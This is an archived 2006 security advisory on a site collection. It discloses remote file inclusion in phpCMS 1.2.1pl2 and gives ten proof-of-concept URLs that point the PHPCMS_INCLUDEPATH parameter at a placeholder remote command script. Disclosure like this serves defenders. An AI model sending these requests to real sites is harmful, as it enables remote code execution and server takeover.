Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: CMS / Portals :: b06-2948.htm

phpCMS 1.2.1pl2, Remote command execution



phpCMS 1.2.1pl2, Remote command execution
phpCMS 1.2.1pl2, Remote command execution



-----------------------------------------------------
Advisory id: FSA:014

Author:    Federico Fazzi
Date:	   12/06/2006, 10:25
Sinthesis: phpCMS 1.2.1pl2, Remote command execution
Type:	   high
Product: http://www.phpcms.de/ 
Patch:	   unavailable
-----------------------------------------------------


1) Description:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.http_indexer_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.lib_indexer_universal_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url] 
http://example/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cmd_url] 

http://example/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/ 
(note this is with final slash (/))

3) Solution:

sanitized all variables on all files.



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH